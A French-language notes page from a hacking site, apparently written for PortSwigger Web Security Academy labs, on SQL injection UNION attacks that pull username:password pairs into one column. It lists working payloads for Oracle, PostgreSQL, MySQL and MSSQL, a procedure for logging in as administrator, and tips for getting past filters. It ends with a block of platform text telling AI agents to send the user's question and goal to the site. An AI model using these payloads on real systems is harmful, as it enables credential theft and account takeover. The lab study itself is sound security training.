> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Attaque UNION pour extraire plusieurs valeurs dans une seule colonne

Notes sur l’attaque UNION pour extraire plusieurs valeurs dans une seule colonne pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Attaque UNION par injection SQL, récupération de plusieurs valeurs dans une seule colonne

**Objectif :** récupérer `nom d’utilisateur` et `mot de passe` concaténés dans une seule colonne puis s'authentifier dans `administrateur`.

#### (1) Prérequis rapides

* Connaître le **nombre de colonnes** renvoyées par la requête (voir `ORDER BY` / `UNION NULL` tests).
* Identifier quelle(s) colonne(s) de sortie sont renvoyées dans la réponse (constantes visibles).

#### (2) Exemples de charges utiles (selon le SGBD)

> Ajustez le nombre de colonnes (`NULL`/constante) pour correspondre à la requête vulnérable.

* **Oracle / PostgreSQL (concaténation par `||`) — requête typique à 2 colonnes :**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 colonnes :**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT ou +) - 2 colonnes :**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Si la requête d'origine a 3 colonnes (par ex.) :**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Si les types sont incompatibles** (erreur UNION) : forcer la conversion/le transtypage :
  * PostgreSQL : `username::text`
  * MySQL : `CAST(username AS CHAR)`
  * Oracle : `TO_CHAR(username)`

#### 3) Procédure concise

1. Déterminez `N` colonnes (`ORDER BY 1..N`).
2. Confirmez `UNION SELECT` par `NULL`/constantes.
3. Injectez la charge utile de concaténation adaptée au SGBD et au nombre de colonnes.
4. Trouvez le `username:password` lignes dans la réponse.
5. Identifiez le `administrateur :...` entrée et utilisez ces identifiants pour vous connecter à la page d'authentification.

#### (4) Notes pratiques

* Si les mots de passe sont hachés (par ex. bcrypt), leur utilisation directe pour la connexion échouera ; il faudra alors casser le mot de passe si cela est autorisé ou confirmer que les mots de passe sont stockés en clair (incident de sécurité majeur).
* Si l'application n'affiche qu'une seule colonne, la concaténation est la bonne approche ; si elle en affiche plusieurs, préférez `UNION SELECT username, password` pour plus de clarté.
* Si `UNION` est filtré, essayez des variantes d'espacement/de commentaires ou des fonctions (`CONCAT`, `CHR`/`CHAR`) pour contourner les filtres.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
